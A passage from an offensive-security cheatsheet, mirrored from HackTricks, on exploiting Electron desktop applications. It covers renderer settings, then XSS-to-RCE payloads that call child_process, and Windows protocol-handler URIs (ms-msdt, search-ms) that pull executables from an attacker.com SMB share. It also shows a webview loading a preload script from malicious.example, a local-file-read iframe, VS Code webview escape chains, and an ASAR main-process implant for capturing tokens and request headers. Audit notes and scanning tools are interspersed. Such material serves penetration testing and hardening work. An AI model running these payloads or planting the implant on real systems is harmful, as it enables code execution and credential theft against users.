daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (43101B)


      1 ---
      2 title: "Electron Desktop Apps"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Electron Desktop Apps
     14 
     15 ## Introduction
     16 
     17 Electron combines a privileged **Node.js** main process with **Chromium** renderer processes. Electron is not a web browser: application code can deliberately expose capabilities such as filesystem and shell access, so loading untrusted content requires stricter boundary design than an ordinary website.<sup>[[31]](#references)</sup>
     18 
     19 Electron application code is commonly packaged in an `.asar` archive. Extract it before reviewing the source:
     20 
     21 ```bash
     22 npx asar extract app.asar destfolder #Extract everything
     23 npx asar extract-file app.asar main.js #Extract just a file
     24 ```
     25 
     26 The application's `package.json` identifies its main entry point. That file commonly creates renderer windows and sets their security-sensitive `webPreferences`.
     27 
     28 ```json
     29 {
     30   "name": "standard-notes",
     31   "main": "./app/index.js",
     32 ```
     33 
     34 Electron has two principal process types:
     35 
     36 - Main Process (has complete access to NodeJS)
     37 - Renderer Process (should have NodeJS restricted access for security reasons)
     38 
     39 ![Electron Desktop Apps - Introduction: Renderer Process (should have NodeJS restricted access for security reasons)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28182%29.png)
     40 
     41 A **renderer process** will be a browser window loading a file:<sup>[[13]](#references)</sup>
     42 
     43 ```javascript
     44 const { BrowserWindow } = require("electron")
     45 let win = new BrowserWindow()
     46 
     47 //Open Renderer Process
     48 win.loadURL(`file://path/to/index.html`)
     49 ```
     50 
     51 The **main process** configures each renderer process, commonly when constructing a `BrowserWindow`. Secure settings reduce the chance that renderer compromise can become native code execution, but they do not make untrusted content intrinsically safe.<sup>[[31]](#references)[[32]](#references)</sup>
     52 
     53 Review at least these renderer preferences:<sup>[[32]](#references)</sup>
     54 
     55 - **`nodeIntegration`** is `false` by default. Enabling it gives renderer JavaScript access to Node.js APIs and also disables that renderer's sandbox.
     56 - **`contextIsolation`** is `true` by default. It separates the page's JavaScript context from the context used by preload scripts and Electron internals.
     57 - **`preload`** has no default path. A configured preload script runs before page scripts and can expose narrowly scoped APIs through `contextBridge`.
     58 - **`sandbox`** is `true` by default since Electron 20. It restricts renderer access to operating-system resources; setting `nodeIntegration: true` disables it.
     59 - **`nodeIntegrationInWorker`** is `false` by default and controls Node.js integration in Web Workers.
     60 - **`nodeIntegrationInSubFrames`** is `false` by default.
     61   - If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
     62   - If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
     63 
     64 Example of configuration:
     65 
     66 ```javascript
     67 const mainWindowOptions = {
     68   title: "Discord",
     69   backgroundColor: getBackgroundColor(),
     70   width: DEFAULT_WIDTH,
     71   height: DEFAULT_HEIGHT,
     72   minWidth: MIN_WIDTH,
     73   minHeight: MIN_HEIGHT,
     74   transparent: false,
     75   frame: false,
     76   resizable: true,
     77   show: isVisible,
     78   webPreferences: {
     79     blinkFeatures: "EnumerateDevices,AudioOutputDevices",
     80     nodeIntegration: false,
     81     contextIsolation: false,
     82     sandbox: false,
     83     nodeIntegrationInSubFrames: false,
     84     preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
     85     nativeWindowOpen: true,
     86     enableRemoteModule: false,
     87     spellcheck: true,
     88   },
     89 }
     90 ```
     91 
     92 Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt):<sup>[[17]](#references)</sup>
     93 
     94 ```html
     95 Example Payloads (Windows):
     96 <img
     97   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x"
     98   onerror="alert(require('child_process').execSync('calc').toString());" />
     99 
    100 Example Payloads (Linux & MacOS):
    101 <img
    102   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x"
    103   onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
    104 <img
    105   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x"
    106   onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
    107 <img
    108   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x"
    109   onerror="alert(require('child_process').execSync('id').toString());" />
    110 <img
    111   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x"
    112   onerror="alert(require('child_process').execSync('ls -l').toString());" />
    113 <img
    114   src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x"
    115   onerror="alert(require('child_process').execSync('uname -a').toString());" />
    116 ```
    117 
    118 ### Capture traffic
    119 
    120 Modify the start-main configuration and add the use of a proxy such as:
    121 
    122 ```javascript
    123 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
    124 ```
    125 
    126 ## Electron Local Code Injection
    127 
    128 If you can modify or instrument a locally installed Electron application, you may be able to make it execute arbitrary JavaScript. See:
    129 
    130 
    131 [Macos Electron Applications Injection](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
    132 
    133 ## RCE: XSS + nodeIntegration
    134 
    135 If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
    136 
    137 ```html
    138 <script>
    139   require("child_process").exec("calc")
    140   // or
    141   top.require("child_process").exec("open /System/Applications/Calculator.app")
    142 </script>
    143 ```
    144 
    145 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281110%29.png" alt=""><figcaption></figcaption></figure>
    146 
    147 ## RCE: preload
    148 
    149 The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
    150 
    151 ```javascript
    152 new BrowserWindow{
    153   webPreferences: {
    154     nodeIntegration: false,
    155     preload: _path2.default.join(__dirname, 'perload.js'),
    156   }
    157 });
    158 ```
    159 
    160 Therefore, the script can export node-features to pages:
    161 
    162 ```javascript
    163 typeof require === "function"
    164 window.runCalc = function () {
    165   require("child_process").exec("calc")
    166 }
    167 ```
    168 
    169 ```html
    170 <body>
    171   <script>
    172     typeof require === "undefined"
    173     runCalc()
    174   </script>
    175 </body>
    176 ```
    177 
    178 > [!NOTE] > **If `contextIsolation` is on, this won't work**
    179 
    180 ## RCE: XSS + contextIsolation
    181 
    182 The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
    183 
    184 If the contexts aren't isolated an attacker can:
    185 
    186 1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
    187 2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
    188 3. **Trigger** the use of **overwritten function**
    189 4. RCE?
    190 
    191 There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
    192 
    193 
    194 [Electron Contextisolation Rce Via Preload Code](/hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code)
    195 
    196 
    197 [Electron Contextisolation Rce Via Electron Internal Code](/hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code)
    198 
    199 
    200 [Electron Contextisolation Rce Via Ipc](/hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc)
    201 
    202 ### Bypass click event
    203 
    204 If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
    205 
    206 ```javascript
    207 window.addEventListener('click', (e) => {
    208 ```
    209 
    210 ## RCE via shell.openExternal
    211 
    212 For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)<sup>[[18]](#references)[[19]](#references)</sup>
    213 
    214 When deploying an Electron desktop application, ensuring the correct settings for `nodeIntegration` and `contextIsolation` is crucial. It's established that **client-side remote code execution (RCE)** targeting preload scripts or Electron's native code from the main process is effectively prevented with these settings in place.
    215 
    216 Upon a user interacting with links or opening new windows, specific event listeners are triggered, which are crucial for the application's security and functionality:
    217 
    218 ```javascript
    219 webContents.on("new-window", function (event, url, disposition, options) {}
    220 webContents.on("will-navigate", function (event, url) {}
    221 ```
    222 
    223 These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function.
    224 
    225 **Here is a simplified pseudocode:**
    226 
    227 ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28261%29.png)
    228 
    229 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28963%29.png)
    230 
    231 Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.<sup>[[20]](#references)</sup>
    232 
    233 In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
    234 
    235 **Examples of Windows protocol exploits include:**
    236 
    237 ```html
    238 <script>
    239   window.open(
    240     "ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
    241   )
    242 </script>
    243 
    244 <script>
    245   window.open(
    246     "search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
    247   )
    248 </script>
    249 
    250 <script>
    251   window.open(
    252     "ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
    253   )
    254 </script>
    255 ```
    256 
    257 ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
    258 
    259 This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.<sup>[[21]](#references)</sup>
    260 
    261 The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
    262 
    263 ```xml
    264 <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
    265 ```
    266 
    267 Therefore, an attacker that manages to load an arbitrary page could use that tag to **load an arbitrary preload script**.
    268 
    269 This preload script was abused then to call a **vulnerable IPC service (`skype-new-window`)** which was calling calling **`shell.openExternal`** to get RCE:
    270 
    271 ```javascript
    272 (async() => {
    273     const { ipcRenderer } = require("electron");
    274     await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
    275     setTimeout(async () => {
    276         const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
    277         await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
    278     }, 5000);
    279 })();
    280 ```
    281 
    282 ## Reading Internal Files: XSS + contextIsolation
    283 
    284 **Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:<sup>[[12]](#references)</sup>
    285 
    286 ![RCE: webviewTag + vulnerable preload IPC + shell.openExternal - Reading Internal Files: XSS + contextIsolation: Disabling contextIsolation enables the use of tags , similar to , for...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/1%20u1jdRYuWAEVwJmf_F2ttJg%20%281%29.png)
    287 
    288 Further, another method for **reading an internal file** is shared, highlighting a critical local file read vulnerability in an Electron desktop app. This involves injecting a script to exploit the application and exfiltrate data:
    289 
    290 ```html
    291 <br /><br /><br /><br />
    292 <h1>
    293   pwn<br />
    294   <iframe onload="j()" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//etc/hosts">xssxsxxsxs</iframe>
    295   <script type="text/javascript">
    296     function j() {
    297       alert(
    298         "pwned contents of /etc/hosts :\n\n " +
    299           frames[0].document.body.innerText
    300       )
    301     }
    302   </script>
    303 </h1>
    304 ```
    305 
    306 ## **RCE: XSS + Old Chromium**
    307 
    308 If the **Chromium** version bundled with the application is old and has known vulnerabilities, it may be possible to exploit it and turn XSS into RCE.<sup>[[30]](#references)</sup>\
    309 You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)<sup>[[22]](#references)</sup>
    310 
    311 ## **XSS Phishing via Internal URL regex bypass**
    312 
    313 If you find XSS but **cannot trigger RCE or steal internal files**, you could still try to **steal credentials via phishing**.<sup>[[11]](#references)</sup>
    314 
    315 First, inspect the frontend code to determine what happens when a new URL is opened:
    316 
    317 ```javascript
    318 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
    319 webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
    320 ```
    321 
    322 The call to **`openInternally`** decides whether a platform link opens in the **desktop window** or a third-party resource opens in the system browser.
    323 
    324 If the function's URL allowlist regex can be bypassed—for example, because dots in a hostname were not escaped—an attacker could abuse XSS to open a convincing credential prompt on attacker-controlled infrastructure:
    325 
    326 ```html
    327 <script>
    328   window.open("<http://subdomainagoogleq.com/index.html>")
    329 </script>
    330 ```
    331 
    332 ## `file://` Protocol
    333 
    334 As mentioned in [the Electron security guide](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), pages running on **`file://`** receive broad file access. Consequently, **XSS may be usable to load arbitrary files** from the user's machine. A correctly designed **custom protocol** can restrict access to a specific set of files.<sup>[[31]](#references)</sup>
    335 
    336 ## Remote module
    337 
    338 The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
    339 
    340 > [!TIP]
    341 > Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
    342 
    343 > [!WARNING]
    344 > Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
    345 
    346 Electron's built-in `remote` module was deprecated and then removed; applications that still need its model may use the separate `@electron/remote` package. Because of the security and performance implications, avoid exposing remote-style capabilities to untrusted renderers.
    347 
    348 With `@electron/remote`, it must first be **initialized in the main process**:
    349 
    350 ```javascript
    351 const remoteMain = require('@electron/remote/main')
    352 remoteMain.initialize()
    353 [...]
    354 function createMainWindow() {
    355   mainWindow = new BrowserWindow({
    356   [...]
    357   })
    358   remoteMain.enable(mainWindow.webContents)
    359 ```
    360 
    361 The renderer process can then import objects from the module:
    362 
    363 ```javascript
    364 import { dialog, getCurrentWindow } from '@electron/remote'
    365 ```
    366 
    367 The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indicates some interesting **functions** exposed by the object **`app`** from the remote module:<sup>[[16]](#references)</sup>
    368 
    369 - **`app.relaunch([options])`**  
    370    - **Restarts** the application by **exiting** the current instance and **launching** a new one. Useful for **app updates** or significant **state changes**.
    371 - **`app.setAppLogsPath([path])`**  
    372    - **Defines** or **creates** a directory for storing **app logs**. The logs can be **retrieved** or **modified** using **`app.getPath()`** or **`app.setPath(pathName, newPath)`**.
    373 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**  
    374    - **Registers** the current executable as the **default handler** for a specified **protocol**. You can provide a **custom path** and **arguments** if needed.
    375 - **`app.setUserTasks(tasks)`**  
    376    - **Adds** tasks to the **Tasks category** in the **Jump List** (on Windows). Each task can control how the app is **launched** or what **arguments** are passed.
    377 - **`app.importCertificate(options, callback)`**  
    378    - **Imports** a **PKCS#12 certificate** into the system’s **certificate store** (Linux only). A **callback** can be used to handle the result.
    379 - **`app.moveToApplicationsFolder([options])`**  
    380    - **Moves** the application to the **Applications folder** (on macOS). Helps ensure a **standard installation** for Mac users.
    381 - **`app.setJumpList(categories)`**  
    382    - **Sets** or **removes** a **custom Jump List** on **Windows**. You can specify **categories** to organize how tasks appear to the user.
    383 - **`app.setLoginItemSettings(settings)`**  
    384    - **Configures** which **executables** launch at **login** along with their **options** (macOS and Windows only).
    385   
    386 Example:
    387 
    388 ```javascript
    389 Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
    390 Native.app.exit()
    391 ```
    392 
    393 ## systemPreferences module
    394 
    395 The **primary API** for accessing system preferences and **emitting system events** in Electron. Methods like **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, and **setUserDefault** are all **part of** this module.
    396 
    397 **Example usage:**
    398 
    399 ```javascript
    400 const { systemPreferences } = require('electron');
    401 
    402 // Subscribe to a specific notification
    403 systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
    404   console.log('Received custom notification:', userInfo);
    405 });
    406 
    407 // Get a user default key from macOS
    408 const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
    409 console.log('Recent Places:', recentPlaces);
    410 ```
    411 
    412 ### **subscribeNotification / subscribeWorkspaceNotification**
    413 
    414 * **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.  
    415 * Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.  
    416 * After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
    417 
    418 ### **getUserDefault / setUserDefault**
    419 
    420 * **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
    421     
    422 * **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**.
    423     
    424 * **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**.
    425     
    426 * In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
    427 
    428 ## Shell.showItemInFolder
    429 
    430 This function shows the given file in a file manager. On affected platforms and versions, that interaction **could automatically execute the file**.
    431 
    432 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)<sup>[[16]](#references)</sup>
    433 
    434 ## Content Security Policy
    435 
    436 Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
    437 
    438 It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
    439 
    440 For more information check:
    441 
    442 
    443 [Content Security Policy Csp Bypass](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/pentesting-web/content-security-policy-csp-bypass/README.md)
    444 
    445 
    446 ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
    447 
    448 This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt<sup>[[23]](#references)</sup>
    449 
    450 Attack chain overview
    451 - First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
    452 - Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
    453 - Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
    454 - Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
    455 - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
    456 
    457 Example RCE primitive in the final context
    458 ```javascript
    459 // RCE.html (executed in a Node-enabled webview context)
    460 require('child_process').exec('calc.exe');            // Windows
    461 require('child_process').exec('/System/Applications/Calculator.app'); // macOS
    462 ```
    463 
    464 Related reading on postMessage trust issues:
    465 
    466 [Readme](/hacktricks/pentesting-web/postmessage-vulnerabilities/overview)
    467 
    468 ## VS Code / github.dev: synthetic webview shortcuts + declarative extension command bridges
    469 
    470 A different VS Code webview escape class appeared in June 2026: **untrusted JavaScript inside a notebook/preview webview could synthesize privileged global shortcuts** because the webview preload forwarded `keydown` data to the host workbench and the host handled it as real user input.<sup>[[24]](#references)</sup>
    471 
    472 This is part of a broader history of IDE trust-boundary attacks in which project-controlled content reaches privileged editor features.<sup>[[29]](#references)</sup>
    473 
    474 ### Boundary failure
    475 
    476 If a cross-origin/sandboxed webview copies attacker-controlled keyboard fields (`key`, `code`, `keyCode`, modifiers, `repeat`) into a privileged `postMessage`/message-port bridge **without checking `event.isTrusted`**, JavaScript inside the webview can execute workbench shortcuts with:<sup>[[24]](#references)[[25]](#references)</sup>
    477 
    478 ```javascript
    479 window.dispatchEvent(
    480   new KeyboardEvent("keydown", {
    481     key: "a",
    482     code: "KeyA",
    483     keyCode: 65,
    484     ctrlKey: true,
    485     shiftKey: true,
    486   })
    487 )
    488 ```
    489 
    490 This is especially useful when **synthetic typing is blocked** by the browser. Scripted key events usually **cannot type arbitrary text into HTML `<input>` elements**, but they still trigger shortcuts that consume `keydown` directly.
    491 
    492 ### Practical abuse patterns
    493 
    494 - **Shortcut-oriented UI abuse:** target global bindings such as notification acceptance, palette navigation, focused-button activation, or menu movement instead of trying to type commands.
    495 - **Predictable privileged prompts from workspace metadata:** a repository-controlled `.vscode/extensions.json` can recommend an attacker extension and create a predictable install notification that can be accepted with a shortcut such as `Ctrl+Shift+A`.
    496 - **Declarative extension manifest as command bridge:** even if local workspace extension code is blocked by CSP in web VS Code, declarative `package.json` contributions may still load. A local extension under `.vscode/extensions` can register a keybinding that calls `runCommands` and then a privileged internal command such as `workbench.extensions.installExtension`.<sup>[[24]](#references)[[28]](#references)</sup>
    497 
    498 Example manifest pattern:
    499 
    500 ```json
    501 {
    502   "contributes": {
    503     "keybindings": [{
    504       "key": "ctrl+f1",
    505       "command": "runCommands",
    506       "args": {"commands": [{
    507         "command": "workbench.extensions.installExtension"
    508       }]}
    509     }]
    510   }
    511 }
    512 ```
    513 
    514 - **Hidden security flags reachable from untrusted metadata:** if the internal command accepts attacker-controlled arguments like `{"context":{"skipPublisherTrust":true}}`, declarative metadata can suppress a trust dialog and install a Marketplace/CDN-hosted extension that finally executes attacker code.
    515 - **Trusted-workspace abuse:** if remote/web workspaces are auto-trusted, local workspace extensions become a high-value bridge from repository content to privileged editor actions.
    516 - **Post-compromise scope amplification:** after extension execution, inspect what tokens the editor exposes to extensions. In `github.dev`, the stolen GitHub token was valid beyond the opened repository, so querying `https://api.github.com/user/repos` enumerated additional accessible private repositories.
    517 
    518 ### Audit notes
    519 
    520 - Treat **webview-to-host input forwarding** as a privilege boundary; never re-dispatch synthetic key/click events from untrusted frames into the host.
    521 - Enforce authorization **inside** sensitive commands. Do not accept caller-provided command context that can set internal flags such as `skipPublisherTrust`.
    522 - Do not assume blocking executable local extension code is enough; also review **declarative contributions** (`keybindings`, `menus`, `commands`, tasks) from workspace-controlled manifests.
    523 - The June 3, 2026 fixes added `isTrusted` to forwarded events, disabled untrusted key forwarding in notebook webviews, and stopped accepting caller-supplied install-command context.<sup>[[26]](#references)[[27]](#references)</sup>
    524 
    525 ## Post-exploitation: ASAR/main-process implants
    526 
    527 If you obtain **write access** to an Electron app resources directory, a very practical post-exploitation primitive is to **patch `app.asar`** (or the JS entrypoint it loads) and wait for the user to relaunch the app. Unlike a renderer-only XSS, code loaded from the **main process** executes in the app's **Node.js runtime**, so it can usually access the **filesystem**, spawn commands, hook Electron APIs, and inspect authenticated application state.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup>
    528 
    529 Typical workflow:
    530 
    531 1. Extract `app.asar` and identify the real bootstrap file from `package.json` (`main`) or the existing startup logic.
    532 2. Add a small loader in the **main process** (or a preload/main-process hook) and repack the archive.
    533 3. Wait for the application to start again and use the implant to capture runtime data after the user unlocks or authenticates to the desktop app.
    534 
    535 Minimal bootstrap patch example:
    536 
    537 ```javascript
    538 // Added near the application main entrypoint
    539 const cp = require("child_process")
    540 const { session } = require("electron")
    541 
    542 session.defaultSession.webRequest.onBeforeSendHeaders((details, callback) => {
    543   // Inspect or copy authenticated headers/tokens here
    544   callback({ requestHeaders: details.requestHeaders })
    545 })
    546 
    547 cp.exec("id")
    548 ```
    549 
    550 Practical implications:
    551 
    552 - **Trusted-client data theft**: once the desktop app decrypts or loads data for the user, the implant can read it from the runtime. This is why **E2EE messaging clients** (Signal/Slack/Mattermost) and **vault/secret managers** are still interesting targets at the endpoint layer.
    553 - **Session/token abuse**: Electron implants can steal app cookies, bearer tokens, request headers, workspace files, or repo credentials exposed to the running client (for example, authenticated VS Code extensions or Git integrations).
    554 - **Victim-context pivoting**: a patched app can proxy requests through the victim workstation, reusing the victim IP, TLS fingerprint, and application session instead of only exfiltrating raw tokens.
    555 
    556 > [!NOTE]
    557 > If the target enables **ASAR integrity** / **OnlyLoadAppFromAsar** or hardened Electron **fuses**, you may need a different local code-loading primitive (for example, fuse abuse or snapshot tampering). See the macOS-specific injection page for more local implant options and fuse details.
    558 
    559 ## **Tools**
    560 
    561 The curated **awesome-electronjs-hacking** collection provides additional research, tooling, and vulnerable-application resources.<sup>[[15]](#references)</sup>
    562 
    563 - [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
    564 - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
    565 - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) checks for vulnerable third-party libraries.
    566 - [**Electro.ng**](https://electro.ng/) is a commercial Electron security-analysis tool.
    567 
    568 ## Labs
    569 
    570 In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.<sup>[[14]](#references)</sup>
    571 
    572 These commands help you work through the lab:
    573 
    574 ```bash
    575 # Download apps from these URLs
    576 # Vuln to nodeIntegration
    577 https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
    578 # Vuln to contextIsolation via preload script
    579 https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
    580 # Vulnerable to IPC-based RCE
    581 https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
    582 
    583 # Get inside the electron app and check for vulnerabilities
    584 npm audit
    585 
    586 # How to use electronegativity
    587 npm install @doyensec/electronegativity -g
    588 electronegativity -i vulnerable1
    589 
    590 # Run an application from source code
    591 npm install -g electron
    592 cd vulnerable1
    593 npm install
    594 npm start
    595 ```
    596 
    597 ## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
    598 
